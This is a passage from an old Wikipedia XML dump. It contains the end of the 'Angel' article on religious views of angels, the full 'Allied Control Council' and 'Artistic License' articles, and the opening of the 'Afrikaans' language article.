According to the majority of [[Ulema|Islamic scholars]], angels are incapable of commiting sin, and therefore cannot fall from grace, excluding [[Iblis]] who chose to do evil because he had free-will and is not considered as a fallen angel, but a separate entity made of fire called [[jinn]]. Scholars cite the following Quranic [[ayat]] (verse), &quot;And when We said to the Angels; &quot;Prostrate yourselves unto Adam.&quot; So they prostrated themselves except Iblis. He was one of the jinn...&quot; ([[Sura]]t [[Al-Kahf]], 18:50). Angels, unlike the fiery nature of jinn, are beings of goodness and cannot choose to disobey God, nor do they possess the ability to do evil.

The archangel Jibril is attributed with sending the message of Allah to all the [[Prophets of Islam|Prophet]]s (including the [[Psalms]], [[Torah]], [[Bible]] and [[Qur'an]]. Other angels include Michael (Mikaeel) who discharges control of vegetation and rain, Sarafiel (Israfil) who will blow the trumpet on [[Qiyamah|Yaum al Qiyamah]] (the day of resurrection), and Azrael (Izra'il), the angel of death. The angels [[Nakir and Munkar]] are assigned to interrogate the dead before judgement day; and there are nineteen angels over-seeing the punishments of hell unflinchingly (Surat [[Al-Muddaththir]], 74:30). There are eight massive angels that support the Throne of God (Surat [[Al-Haaqqa]], 69:17). Every human being is assigned two angels to scribe a record of all actions done by the individual throughout their life, which will be used in evidence for or against the person by Allah on the day of judgement.

Humans do not turn into angels upon death, rather they are physically ressurected in body and soul and judged by God on judgement day (and that should they end up in [[Jannah]] (heaven), they are given perfect bodies).

==Latter-Day Saint views==
[[Image:Engel Moroni Bern Tempel.JPG|thumb|150px|right|Bern Switzerland Temple Statue of Angel Moroni]]
[[Joseph Smith, Jr.]], founder of the [[Latter Day Saint movement]] ([[Mormonism]]), and several of his associates, claimed that they were visited by angels on multiple occasions and for a variety of purposes in conjunction with the restoration of the gospel of Jesus.

According to the official doctrine of the [[Church of Jesus Christ of Latter-Day Saints]], (Bible Dictionary entry on &quot;Angels&quot;):

&lt;small&gt;
:: ''&quot;These are the messengers of the Lord, and are spoken of in the epistle to the Hebrews as 'ministering spirits'. We learn from latter-day revelation that there are two classes of heavenly beings who minister for the Lord: those who are spirits and those who have bodies of flesh and bone. Spirits are those beings who either have not yet obtained a body of flesh and bone (unembodied), or who have once had a mortal body and have died, and are awaiting the resurrection (disembodied). Ordinarily the word 'angel' means those ministering persons who have a body of flesh and bone, being either resurrected from the dead (reembodied), or else translated, as were Enoch, Elijah, etc. (D&amp;C 129).''&quot;
&lt;/small&gt;

[[Joseph Smith, Jr.]] described his first angelic encounter thus (Joseph Smith History 1:31-33):

&lt;small&gt;
:: ''&quot;While I was thus in the act of calling upon God, I discovered a light appearing in my room, which continued to increase until the room was lighter than at noonday, when immediately a personage appeared at my bedside, standing in the air, for his feet did not touch the floor.''

:: ''&quot;He had on a loose robe of most exquisite whiteness. It was a whiteness beyond anything earthly I had ever seen; nor do I believe that any earthly thing could be made to appear so exceedingly white and brilliant. His hands were naked, and his arms also, a little above the wrist; so, also, were his feet naked, as were his legs, a little above the ankles. His head and neck were also bare. I could discover that he had no other clothing on but this robe, as it was open, so that I could see into his bosom.''

:: ''&quot;Not only was his robe exceedingly white, but his whole person was glorious beyond description, and his countenance truly like lightning. The room was exceedingly light, but not so very bright as immediately around his person. When I first looked upon him, I was afraid; but the fear soon left me.&quot;''
&lt;/small&gt;

People who claimed to have received a visit by an angel include [[Joseph Smith, Jr.]], [[Oliver Cowdery]], [[David Whitmer]], [[Martin Harris]]. Although Cowdery, Whitmer, and Harris all eventually became disaffected with Smith and left the church, none of them retracted their statement that they had seen and conversed with an angel of the Lord, and indeed, even defended their claim of angelic visitation to their deaths.

Names of some known angels who appeared are [[Moroni (Mormonism)|Moroni]], [[Nephi]], Peter, [[Saint James|James]], [[John the Apostle|John]], [[John the Baptist]].

Michael the archangel was [[Adam and Eve|Adam]] (the first man) when he was mortal, and Gabriel lived on the earth as [[Noah]] (the one who built the ark).

== Other religions ==
Angels are also a part of [[New Age]] beliefs. In [[Zoroastrianism]], the [[Amesha Spentas]] have often been regarded as angels, but this is not strictly correct since they don´t convey messages, but are rather emanations of [[Ahura Mazda]] (&quot;Wise Lord&quot;, God); they appear in an abstract fashion in the religious thought of [[Zarathustra]] and then later (during the [[Achaemenid]] period of Zoroastrianism) became personalized, associated with an aspect of the divine creation (fire, plants, water...). 

Also, angel-like beings called [[Tennin]] and [[Tenshi]] appear in [[Japanese mythology]]

===Hinduism===
In English, the Sanskrit word [[Deva (deity)|Deva]] is exclusively translated as &quot;god&quot;, which certainly gives a polytheistic appearance to Hinduism. Many Hindus now say that this is a poor practice, because the best word for God in Sanskrit is [[Ishvara]] (the Supreme Lord). The Devas may be better translated as angels or demigods. They are celestial beings with supernatural powers, but also weaknesses. They grant material benefits to humans upon praying and sacrificing to them, though they don't carry the message of Ishvara to the humans as in Abrahamic religions (a category of such beings also exist, called &quot;devaduta&quot; or &quot;duta&quot;). Buddhism and Jainism also believe in the existance of such devas. Examples of such devas are [[Indra]], [[Mitra]], [[Ashvins]], [[Varuna]], etc. Note that if a particular deva has a widespread cult, like [[Vishnu]] or [[Shiva]], he is believed not to be an ordinary deva but equated to Ishvara by his followers.

===Thelema===
[[Aleister Crowley]] tried to teach people to attain what he called &quot;the Knowledge and Conversation of the [[Holy Guardian Angel]]&quot;. Within the system of [[Thelema]], the Holy Guardian Angel is representative of one’s truest divine nature. Citing Crowley, people have linked the term with the Genius of the [[Hermetic Order of the Golden Dawn|Golden Dawn]], the [[Augoeides]] of [[Iamblichus (philosopher)|Iamblichus]], the [[Atman]] of [[Hinduism]], and the [[Daemon (mythology)|Daemon]] of the [[gnostic]]s.

According to most Thelemites, the single most important goal is to consciously connect with one’s HGA, a process termed &quot;Knowledge and Conversation.&quot; By doing so, the magician becomes fully aware of his own [[True Will]]. For Crowley, this event was the single most important goal of any adept:

&lt;blockquote&gt;It should never be forgotten for a single moment that the central and essential work of the Magician is the attainment of the Knowledge and Conversation of the Holy Guardian Angel. Once he has achieved this he must of course be left entirely in the hands of that Angel, who can be invariably and inevitably [be] relied upon to lead him to the further great step—crossing of the Abyss and the attainment of the grade of Master of the Temple. (''Magick Without Tears'', Ch.83) &lt;/blockquote&gt;

Crowley felt that attaining Knowledge and Conversation was so important, that he staked the claim that any other magical operation was, in a sense, evil.

==Angels as a development step of the soul==
Some [[mystics]] believe, that a [[soul]] is growing in steps from minerals, plants and animals to men. When the human body dies, a soul could become an angel. The Persian [[Sufism|Sufi]] mystic poet [[Jalal al-Din Muhammad Rumi]] wrote in his poem [[Masnavi]]:

:''I died as inanimate matter and arose a plant,''&lt;br/&gt;
:''I died as a plant and rose again an animal.''&lt;br/&gt;
:''I died as an animal and arose a man.''&lt;br/&gt;
:''Why then should I fear to become less by dying? ''&lt;br/&gt;
:''I shall die once again as a man''&lt;br/&gt;
:''To rise an angel perfect from head to foot!''&lt;br/&gt;
:''Again when I suffer dissolution as an angel,''&lt;br/&gt;
:''I shall become what passes the conception of man!''&lt;br/&gt;
:''Let me then become non-existent, for non-existence''&lt;br/&gt;
:''Sings to me in organ tones, 'To him shall we return.' ''&lt;br/&gt;
:''(Translation from Wikisource, [http://en.wikisource.org/wiki/Masnavi_I_Ma'navi:_Book_III Masnavi I Ma'navi, Book III], Story XVII)’’

The Christian mystic [[Emanuel Swedenborg]] has a similar imagination. In his late work ''Conjugal Love'' he describes, that a soul of a man and a soul of a woman are united by the marriage in heaven to become an angel.

==See also==
* [[Hierarchy of angels]]
* [[Angels in art]]
* [[Angelici (sect)|Angelici]], ancient sect that worshipped angels
* [[Death (personification)#Angels of death|Angel of death]]
* [[Guardian angel]]
* [[Metatron]]
* [[In Praise of Michael the Archangel]]
* [[The Testament of Solomon]]
* [[Angel (Buffyverse)]]
* [[Angel (TV series)]]
* [[Neon Genesis Evangelion]]
* [[WingedAngelz]], Angelz in StairwayToHeaven of Shattered Galaxy

==Named angels and archangels==
* [[Azrael]]
* [[Barachiel]]
* [[Belial]]
* [[Chamuel]]
* [[Gabriel]]
* [[Haniel]]
* [[Israfel]]
* [[Jegudiel]]
* [[Jophiel]]
* [[Malik]]
* [[Metatron]]
* [[Michael (archangel)|Michael]]
* [[Nakir and Munkar]]
* [[Obbieuth]]
* [[Phanuel (archangel)|Phanuel]]
* [[Raguel]]
* [[Raphael (archangel)|Raphael]]
* [[Raziel]]
* [[Remiel]]
* [[Sandalphon]]
* [[Shamsiel]]
* [[Sariel]]
* [[Uriel]]
* [[Zadkiel]]

==Bibliography==
* Cheyne, James Kelly (ed.) (1899). Angel. ''Encyclopædia biblica''. New York, Macmillan.
* Driver, Samuel Rolles (Ed.) (1901) ''The book of Daniel.'' Cambridge UP.
* Hastings, James (ed.) (1898). Angel. ''A dictionary of the Bible''. New York: C. Scribner's sons.
* Oosterzee, Johannes Jacobus van. ''Christian dogmatics: a text-book for academical instruction and private study.'' Trans. John Watson Watson and Maurice J. Evans. (1874) New York, Scribner, Armstrong.
* Smith, George Adam (1898) ''The book of the twelve prophets, commonly called the minor.'' London, Hodder and Stoughton.

==References==
* Bamberger, Bernard Jacob, (March 15, [[2006]]). ''Fallen Angels: Soldiers of Satan's Realm.'' Jewish Publication Society of America. ISBN 0827607970
* Bennett, William Henry. Angel. ''[[1911 Encyclopædia Britannica]]''
* Briggs, Constance Victoria, [[1997]]. ''The Encyclopedia of Angels : An A-to-Z Guide with Nearly 4,000 Entries.'' Plume. ISBN 0452279216.
* Bunson, Matthew, ([[1996]]). ''Angels A to Z : A Who's Who of the Heavenly Host.''  Three Rivers Press. ISBN 0517885379.
* Cruz, Joan C. [[1999]]. ''Angels and Devils.'' Tan Books &amp; Publishers. ISBN 0895556383. 
* Davidson, Gustav. ''A Dictionary of Angels: Including the Fallen Angels''. Free Press. ISBN 002907052X
* Graham, Billy, [[1994]]. ''Angels: God's Secret Agents.'' W Pub Group; Minibook edition. ISBN 0849950740
* Guiley, Rosemary, 1996. ''Encyclopedia of Angels.'' ISBN 0816029881
* Kreeft, Peter J. [[1995]]. ''Angels and Demons: What Do We Really Know About Them?'' Ignatius Press. ISBN 0898705509
* Lewis, James R. ([[1995]]). ''Angels A to Z.'' Visible Ink Press. ISBN 0787606529
* Melville, Francis, [[2001]]. ''The Book of Angels: Turn to Your Angels for Guidance, Comfort, and Inspiration.'' Barron's Educational Series; 1st edition. ISBN 0764154036
* Ronner, John, [[1993]]. ''Know Your Angels: The Angel Almanac With Biographies of 100 Prominent Angels in Legend &amp; Folklore-And Much More!'' Mamre Press. ISBN 0932945406.
* Swedenborg, Emanuel ([[1979]]). ''Conjugal Love.'' Swedenborg Foundation. ISBN 0877850542

* {{1911}}

==External links==
{{commonscat|angels}}
*[http://www.newadvent.org/cathen/01476d.htm Catholic Encyclopedia entry on angels]
*[http://www.jewishencyclopedia.com/view.jsp?artid=1521&amp;letter=A&amp;search=angelology Jewish Encyclopedia entry on angels]
*[http://www.faizani.com/books/5thG_chapters/fourfold_firmaments.html Islam Way Online - Your Religion and Spirituality Portal] Islamic philosophy on angelic hierarchy in the creation
*[http://www.faqs.org/faqs/judaism/FAQ/06-Jewish-Thought/section-14.html Judaism FAQs: What about angels, demons, miracles, and the supernatural?]
*[http://www.isidore-of-seville.com/angels/ Angels on the Web (resource and art directory)])
*[http://mediaguidetoislam.sfsu.edu/religion/03b_concepts.htm The Media Guide to Islam]
*[http://www.sunna.info/Lessons/islam_331.html Angels in Islam]

[[Category:1911 Britannica]]
[[Category:Angels]]
[[Category:Jewish mysticism]]
[[Category:New Age]]
[[Category:Tanakh]]
[[Category:Torah]]

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[[zh:天使]]</text>
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  <page>
    <title>Angel/Angels in art</title>
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  <page>
    <title>Allied Control Council</title>
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      <minor />
      <comment>/* Notes */ case</comment>
      <text xml:space="preserve">[[Image:Kammergericht.jpg|thumbnail|right||Kammergericht, Headquarters of the Allied Control Council]]
The '''Allied Control Council''' or '''Allied Control Authority''', known in [[German language|German]] as the ''Alliierter Kontrollrat'', was a military occupation governing body of [[History of Germany|Germany]] after [[the end of World War II in Europe]]; the members were the [[United States]], the [[United Kingdom]], and the [[Soviet Union]]. [[France]] was later added with a vote but had no duties. The Allied Control Council was based in [[Schöneberg|Berlin-Schöneberg]].

== Creation ==

After the death of [[Adolf Hitler]], [[Karl Dönitz]] became [[Reichspräsident|president of Germany]] in accordance with [[Last will and testament of Adolf Hitler|Hitler's last political testament]]. He authorised the signing, at [[Rheims]], of the unconditional surrender of all German forces, which took effect on [[8 May]] [[1945]], and tried to establish a government under [[Chancellor of Germany|Chancellor]] [[Ludwig Graf Schwerin von Krosigk|von Krosigk]]. This government was not recognised by the Allies, however, and Dönitz and the other members were arrested on [[23 May]] by British forces.

The surrender document used by [[SHAEF]] at Rheims, was modelled on the one used a few days earlier to allow the German forces in Italy to surrender{{ref|page_256}}. They did not use the one which had been drafted for the surrender of Germany by the &quot;[[European Advisory Commission]]&quot; (EAC). This created a legal problem for the Allies, because although the German armed forces had surrendered unconditionally, the ''civilian'' German government had not been included in the surrender. This was considered a very important issue, given that Hitler had used the surrender of the civilian government, but ''not'' of the military, in [[1918]], to create the &quot;stab in the back&quot; argument{{ref|page_109}}. The Allies understandably did not want to give any future hostile German regime any kind of legal argument to resurrect an old quarrel. Eventually they decided not to recognise Dönitz, but to sign a four power document instead, creating the Allied Control Council. On [[5 July]] [[1945]], in [[Berlin]], the supreme commanders of the four occupying powers signed a common [[Declaration Regarding the Defeat of Germany]] (the so-called Berlin Declaration), which formally abolished any German governance over the nation:
:''The Governments of the United States of America, the Union of Soviet Socialist Republics and the United Kingdom, and the Provisional Government of the French Republic, hereby assume supreme authority with respect to Germany, including all the powers possessed by the German Government, the High Command and any state, municipal, or local government or authority. The assumption, for the purposes stated above, of the said authority and powers does not affect the annexation of Germany.'' [US Department of State, Treaties and Other International Acts Series, No. 1520.]
In reality, of course, all German central civilian authority had ceased to exist with the death of Hitler and the fall of Berlin at the latest. These parts of the Berlin declaration, therefore, merely formalised the ''[[de facto]]'' status and placed the Allied military rule over Germany on a solid legal basis.

The actual exertion of power was carried out according to the model first laid out in the &quot;Agreement on Control Machinery in Germany&quot; that had been signed by the United States, the United Kingdom, and the Soviet Union on [[25 November]] [[1944]] in [[London]] based on the work of the [[European Advisory Commission]]. Germany was divided into three zones of occupation, an American, a British, and a Soviet one, and each zone was ruled by the Commander-in-Chief of the respective occupational forces. (Later a French zone was added.) &quot;Matters that affect Germany as a whole,&quot; however, would have to be decided jointly by all three Commanders-in-Chief, who for this purpose would form a single organ of control. This authority was called the Control Council.

The purpose of the Allied Control Council was to deal with the German central administration, an idea that hardly materialised as that administration totally broke down with the end of the war, and to assure that the military administration was carried out with a certain uniformity throughout all of Germany. The [[Potsdam Agreement]] of [[2 August]] [[1945]] further specified the tasks of the Control Council.

== Operation ==

On [[30 August]] [[1945]] the Control Council constituted itself and issued its first proclamation, which informed the German people of the Council's existence and asserted that the commands and directives issued by the Commanders-in-Chief in their respective zones were not affected by the establishment of the Council. The initial members of the Control Council were as follows: Marshal [[Georgy Zhukov]] for the Soviet Union, Field Marshal [[Bernard Montgomery]] for the United Kingdom, General [[Dwight Eisenhower]] for the United States, and General [[Jean Joseph-Marie Gabriel Lattre de Tassigny]] for France.

In the following time, the Allied Control Council issued a substantial number of laws, directives, orders, and proclamations. They dealt with the abolishment of [[Nazi]] laws and organisations, [[demilitarisation]], [[denazification]], but also with such comparatively pedestrian matters as telephone tariffs or the combat of venereal diseases. However, relations between the Western Allies (especially the United States and the United Kingdom) and the Soviet Union quickly deteriorated, and so did their cooperation in the administration of occupied Germany. Against Soviet protests, the two Anglo-Saxon powers pushed for a heightened economic collaboration between the different zones, and on [[1 January]] [[1947]] the British and American zones merged to form the [[Bizone]]. Over the course of 1947 and early [[1948]], they began to prepare the currency reform that would introduce the [[Deutsche Mark]], and ultimately the creation of an independent West German state. When the Soviets learnt about this, they claimed that such plans were in violation of the Potsdam Agreement, that obviously the Western powers were not interested in further regular four-power control of Germany, and that under such circumstances the Control Council had no purpose anymore. On [[20 March]] [[1948]], Marshal Sokolovsky, the Soviet representative, walked out of the meeting of the Council, never to attend one again.

==After the breakdown==
As the Control Council could only act with the agreement of all four members, this move basically shut down the institution, while the [[Cold War]] reached an early high point during the [[Berlin Blockade|Soviet blockade of Berlin]]. The Allied Control Council was not formally dissolved, but ceased all activity except the operations of the [[Four-Power Authorities]], namely the mangement  of the [[Spandau Prison]] where persons convicted at the [[Nuremberg Trials]] were held until [[1987]], and the [[Berlin Air Safety Center]]

The Western powers instituted the [[Allied High Commission]] by September of 1949 which remained in operation until 1955. In Eastern Germany, the [[Soviet Military Administration in Germany|Soviet administration]] with its representative of the ACC was the highest authority, later this position was converted to a High Commissioner as well, until the [[German Democratic Republic]] gained sovereignty. 

Germany remained under nominal military occupation until [[12 September]] [[1990]], when the [[Treaty on the Final Settlement With Respect to Germany]], the final [[peace treaty]], was signed by the four powers and the two German governments, restoring German sovereignty. This meant the official end of the Allied Control Council, insofar as it still existed at all.

== The building ==

During its short active life, the Allied Control Council was housed in and operated from the former building of the [[Kammergericht]], the supreme court of the state of [[Prussia]], which is situated in Berlin's [[Schöneberg]] borough in the American sector. The building itself had suffered some battle damage, losing a central tower, but had remained mostly usable. After the cessation of most Council activity in 1948, all occupying powers quickly withdrew from the building to their respective sectors of the city, leaving the facility cold, empty and dark.

Only one [[four-power organization|four-power organisation]], the [[Berlin Air Safety Center]] (BASC), remained in the building from 1945 until the fall of the wall in [[1989]].  As a symbol of the BASC's continued presence, the four national flags of the occupying powers still flew over the large front doors every day. The only other signs of occupancy were the few, sparse office lights that emanated from a small corner room of the building &amp;mdash; the BASC Operations Room &amp;mdash; in the evenings.  Of the 550 rooms in the building, the BASC office complex and guards' quarters occupied fewer than forty. 

Because of the BASC's presence, the building remained closely guarded by United States [[Embassy]] guards, with access granted only to select members of the four powers.  This led to mysterious legends and ghost stories about the eerie, dark facility with its grand, granite statuary overlooking the beautiful park.   

After the fall of the [[Berlin Wall]], and after the Soviet troops left Berlin in [[1994]], the building was returned to the German government. In [[1997]], its erstwhile occupant, the [[Kammergericht]], moved in. It now functions as the supreme court of the state of [[Berlin]].

==See also==
* [[Allied Occupation Zones in Germany]]
* [[History of Germany]]
* [[Military rule]]

==Bibliography==
* [http://www.globalsecurity.org/military/library/report/other/us-army_germany_1944-46_index.htm &quot;The U.S. Army in the Occupation of Germany 1944-1946&quot;]; by Earl F. Ziemke.  Center of Military History United States Army Washington, D. C., 1990; Library of Congress Catalog Card Number 75-619027; First Printed 1975-CMH Pub 30-6

==Notes==
# {{note|page_256}} ''The U.S. Army in the Occupation of Germany 1944–1946'' (see [[#Bibliography]]): page&amp;nbsp;256
# {{note|page_109}} ''The U.S. Army in the Occupation of Germany 1944–1946'' (see [[#Bibliography]]): page&amp;nbsp;109

==External links==
*[http://home.att.net/~rw.rynerson/acabldg.htm Photos from the 1970-71 Four Power negotiations on the Status of Berlin.]

[[de:Alliierter Kontrollrat]]

[[Category:World War II politics]]
[[Category:Post-World War II]]</text>
    </revision>
  </page>
  <page>
    <title>Artistic License</title>
    <id>2161</id>
    <revision>
      <id>38348625</id>
      <timestamp>2006-02-05T19:44:18Z</timestamp>
      <contributor>
        <username>Gronky</username>
        <id>87356</id>
      </contributor>
      <minor />
      <comment>wikilink &quot;dual-licensed&quot;</comment>
      <text xml:space="preserve">The '''Artistic License''' is a software [[license]] used for certain [[free software]] packages, most notably the standard [[Perl]] implementation, most of [[CPAN]] modules and [[Parrot virtual machine|Parrot]], which are [[dual-licensed]] under the Artistic License and the [[GNU General Public License]] (GPL).

It was written by [[Larry Wall]].

Whether or not the original Artistic License is a [[free software license]] is largely undecided.  It is often heavily criticised for being ambiguous, self-contradictory, and thus virtually impossible to interpret.  [[Free Software Foundation]] have gone so far to say that it is ''not'' a free software license, however, this has never been a contentious issue since all notable software that uses the original Artistic License are [[dual licensed]] along with the GPL.

There exists an '''Artistic License 2.0''', which was written in response to a Perl community [[request for comments]], which everyone agrees is a free software license.  The license was written by [[Bradley Kuhn]], then working for Free Software Foundation, and seems to be scheduled for adoption by the standard Perl implementation when version 6 is released.  There also exists a &quot;Clarified Artistic License&quot;, which is also a free software license, currently being used by the [[SNEeSe]] and [[FakeNES]] [[emulators]].

The name of the licence is a reference to the concept of [[artistic licence]].

==External links==
* [http://www.perl.com/language/misc/Artistic.html The Artistic License] (the original Artistic License, the one which is still used by Perl and CPAN)
* [http://dev.perl.org/rfc/346.html The Artistic License 2.0]
* [http://www.statistica.unimib.it/utenti/dellavedova/software/artistic2.html The Clarified Artistic License]

{{software-stub}}

[[Category:Open source licenses]]
[[Category:Free software licenses]]

[[de:Artistic License]]
[[fr:Academic Free License]]
[[it:Licenza artistica]]
[[ja:アーティスティック・ライセンス]]
[[pl:Licencja Artystyczna]]
s</text>
    </revision>
  </page>
  <page>
    <title>Afrikaans</title>
    <id>2162</id>
    <revision>
      <id>41573217</id>
      <timestamp>2006-02-28T05:58:03Z</timestamp>
      <contributor>
        <username>Dewet</username>
        <id>88048</id>
      </contributor>
      <minor />
      <comment>Revert to revision 41151222 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Afrikaans
|familycolor=Indo-European
|states=[[South Africa]] and [[Namibia]]
|region=[[Southern Africa]]
|speakers=Native speakers: 6,000,000+&lt;br&gt;Secondary speakers: 10,000,000+
|fam2=[[Germanic languages|Germanic]]
|fam3=[[West Germanic languages|West Germanic]]
|fam4=[[Low Germanic languages|Low Germanic]]
|fam5=[[Low Franconian languages|Low Franconian]]
|fam6=[[Dutch language|Dutch]]
|nation=[[South Africa]]
|iso1=af|iso2=afr|iso3=afr}}

'''Afrikaans''' is a [[West Germanic languages|West Germanic language]] mainly spoken in [[South Africa]] and [[Namibia]] with smaller numbers of speakers in [[Botswana]], [[Lesotho]], [[Swaziland]], [[Zimbabwe]] and [[Zambia]]. Due to the [[emigration]] of many White South Africans, there are an additional estimated 300,000 Afrikaans-speakers in the UK, with other substantial communities found in [[Perth, Western Australia|Perth]], [[Australia]]; [[Toronto]], [[Canada]]; and [[Auckland]], [[New Zealand]]. It is the primary language used by two related ethnic groups: the [[Afrikaners]] (including [[Boers]]) and the [[Coloureds]] or ''kleurlinge''/''bruinmense'' (including [[Basters]], [[Cape Malays]] and [[Griqua]]). These two groups are collectively known as '''''Afrikaanses'''''&lt;!-- please STOP replacing Afrikaanses with Afrikaners or worse yet &quot;Afrikaaners&quot; --&gt;, roughly meaning &quot;the language community of Afrikaans-speakers&quot;. 

Many Afrikaans speakers do not consider themselves either Afrikaners or Coloureds, but simply Afrikaans-speaking South Africans. Geographically, the Afrikaans language is the majority language of the western one-third of South Africa ([[Northern Cape|Northern]] and [[Western Cape]], spoken at home by 69% and 58%, respectively). It is also the largest first language in the adjacent southern one-third of Namibia ([[Hardap]] and [[Karas]], where it is the first language of 43% and 41%, respectively). It is the most widely used second language throughout both of these countries for the population as a whole, although the younger generation has better proficiency in [[English language|English]].

The name ''Afrikaans'' is simply the Dutch word for ''African'', i.e. the African form of the Dutch language. The dialect became known as &quot;[[Cape Dutch]]&quot;. Later, Afrikaans was sometimes also referred to as &quot;African Dutch&quot; or &quot;Kitchen Dutch&quot;, although some now consider these terms [[pejorative]]. Afrikaans was considered a [[Dutch language|Dutch]] [[Dialect|dialect]] until the late [[19th century]], when it began to be recognised as a distinct language, and it gained equal status with Dutch and English as an official language in South Africa in 1925. But Dutch remained an official language until the new 1961 constitution finally stipulated that the two official languages in South Africa to be Afrikaans and English only (although, curiously, the 1961 constitution still had a sub-clause stipulating that the word &quot;Afrikaans&quot; was also meant to be referring to the Dutch language). But the 1925 decision has led practical Dutch to be in disuse and for it to be replaced by Afrikaans for all purposes.

There are basically three dialects, of which the [[Oosgrens-Afrikaans|northeastern variant]] (which developed into a literary language in the [[Transvaal]]) forms the basis of the [[orthography|written standard]]. Within the Dutch-speaking zones of the [[Netherlands]], [[Belgium]] and [[Suriname]], there is greater divergence among the dialects than there is between standard Dutch and standard Afrikaans.

It was originally the dialect that developed among the [[Afrikaner]] [[Protestant]] [[settler]]s and the indentured or [[slavery|slave]] workforce brought to the [[Cape Colony|Cape]] area in southwestern South Africa by the [[Dutch East India Company]] ([[Dutch language]]: ''Verenigde Oost-Indische Compagnie'' - VOC) between [[1652]] and [[1705]]. A relative majority of these first settlers were from the [[Republic of the Seven United Provinces of the Netherlands|United Provinces]] (now [[Netherlands]]), though there were also many from [[Germany]], a considerable number from [[France]], some from [[Portugal]], a few from [[Scotland]], and various other countries. The indentured workers and slaves were [[South Indian]]s, [[Malay people|Malay]]s, and [[Malagasy people|Malagasy]] in addition to the indigenous [[Khoi]] and [[Bushmen]].


== History ==
Afrikaans is [[linguistics|linguistically]] closely related to [[17th century]]/[[18th century]] Dutch dialects spoken in North and South [[Holland]] and, by extension, to modern Dutch. Today, speakers of each language can today make themselves fairly easily understood by speakers of the other. Some find the accents associated with Dutch or Flemish to be softer than Afrikaans (which is sometimes described as guttural), but there is no general agreement on this, with some Afrikaans speakers experiencing Dutch accents as harsh.

Afrikaans grammar and spelling is simpler than that of Dutch, in the same sense and to approximately the same degree that English grammar is simpler than German grammar. Afrikaans also has a more diverse vocabulary, including words of English, Indian, Malay, Malagasy, Khoi, San and Bantu origins. Other closely related languages include [[Low German]] spoken in northern Germany and the Netherlands, [[German language|German]], and [[English language|English]]. Cape Dutch vocabulary diverged from the Dutch vocabulary spoken in the Netherlands over time as Cape Dutch absorbed words from other European [[settler]]s, slaves from East India and Indonesia's [[Malay people|Malay]], and native African languages. Research by [[J. A. Heese]] indicates that until [[1807]], 36.8% of the ancestors of the White Afrikaans speaking population were Dutch, 35% were German, 14.6% were French and 7.2% non-white (of African and/or Asian origins). Heese's figures are questioned by other researchers, however, and especially the non-white component quoted by Heese is very much in doubt.

The linguist Paul Roberge suggests that the earliest 'truly &quot;Afrikaans&quot;' texts are doggerel verse from 1795 and a dialogue transcribed by a Dutch traveller in 1825. Printed material among the Afrikaners at first used only proper European Dutch. By the mid-19th century, more and more was appearing in Afrikaans, which was very much still regarded as a set of spoken regional dialects. The first Afrikaans grammars and dictionaries were published in [[1875]] by the ''[[Genootskap vir Regte Afrikaners]]'' (Society for Real Afrikaners) in [[Cape Town]]. The [[Boer Wars]] further strengthened the position of the new Dutch-like language. The [[official language]]s of the Union of South Africa were English and Dutch until 1925 when Afrikaans replaced Dutch.

Besides vocabulary, the most striking difference from Dutch is its much more regular grammar, which is likely the result of extensive contact with one or more [[Creole language|creole languages]] based on the Dutch language spoken by the relatively large number of non-Dutch speakers ([[Khoikhoi language|Khoikhoi]], German, French, [[Cape Malays|Cape Malay]], and speakers of different African languages) during the formation period of the language in the second half of the 17th century. In 1710, slaves outnumbered free settlers, and the language was developing among speakers who had little occasion to write or analyse their new dialect.

There are many different theories about how Afrikaans came to be. The Afrikaans School has long seen Afrikaans as a natural development from the South-Hollandic Dutch dialect, but has also only considered the Afrikaans as spoken by the Whites. The Afrikaans School has also rejected all alternative ideas.

Most linguistics scholars today are certain that Afrikaans has been influenced by [[Creole language|creole languages]] based on the South-Holland Dutch dialect. It is very hard to find out how this influence took place, since there is almost no material written in the Dutch-based creole languages: only a few sentences found in unrelated books often written by non-speakers.

Although much of the vocabulary of Afrikaans reflects its origins in 17th century South-Hollandic Dutch, it also contains words borrowed from Asian [[Malay language|Malay]] (the oldest known written Afrikaans uses Arabic script and was intended for use among Cape Town's Muslims), [[Malagasy language|Malagasy Malay]], [[Portuguese language|Portuguese]], [[French language|French]], [[Khoisan languages|Khoi and San dialects]], [[English language|English]], [[Xhosa language|Xhosa]] and many other languages. Consequently, many words in Afrikaans are very different from Dutch, as demonstrated by the names of different fruits: 
{| cellspacing=&quot;7px&quot;
|-
| '''AFRIKAANS''' || '''DUTCH''' || '''ENGLISH'''
|-
| piesang* || banaan || banana
|-
| lemoen || sinaasappel || orange
|-
| suurlemoen** || citroen || lemon
|}

&lt;br /&gt;* from Malay ''pisang'' (a word that is known to the Dutch through their [[Dutch East Indies]] history)
&lt;br /&gt;** suur = sour (which is essentially the same as the Dutch word 'zuur').&lt;br&gt;
(''Pisang'' is also a lesser used Dutch word for ''banana'')

== Grammar ==

''See separate article on [[Afrikaans grammar]]''.

==Orthography==
Written Afrikaans differs from Dutch in that the spelling reflects a phonetically simplified language, and so many consonants are dropped (see also the grammar section  for a description of how consonant dropping affects the morphology of Afrikaans adjectives and nouns). The spelling is also considerably more phonetical than the Dutch counterpart. A notable feature is the indefinite article, which, as noted in the grammar section, is &quot;'n&quot;, not &quot;een&quot; as in Dutch. &quot;A book&quot; is &quot;'n Boek&quot;, whereas in Dutch it would be &quot;Een boek&quot;. (Note that &quot;'n&quot; is still allowed in Dutch; Afrikaans uses only &quot;'n&quot; where Dutch uses it next to &quot;een&quot;. When letters are dropped an apostrophe is mandatory.)  Other features include the use of 's' instead of 'z', hence South Africa in Afrikaans is written as ''Suid-Afrika'', whereas in Dutch it is ''Zuid-Afrika''. (This accounts for [[.za]] being used as South Africa's [[List of Internet TLDs|internet top level domain]].) The Dutch letter 'IJ' is written as 'Y', except where it replaces the Dutch [[suffix]] ''-lijk'', as in ''waarschijnlijk = waarskynlik''. Interesting to note that the use of the hard &quot;k&quot; is analogous to the pronunciation in parts of Flanders, which was once part of the [[Dutch Republic|United Provinces]], and from whence many an [[Afrikaner]] came. Also surprising for many Dutch is the double negative, which could possibly be attributed to the French origins of many Afrikaners: ''Nie rook nie'' - No smoking; compare to the French &quot;Ne pas fumer&quot;.

== Comparison with Dutch, German and English ==

{| cellspacing=&quot;7px&quot;
|-
| '''AFRIKAANS''' || '''DUTCH''' || '''GERMAN''' || '''ENGLISH'''
|-
| aksie || actie/aktie || Aktion || action
|-
| asseblief || alstublieft || bitte || please
|-
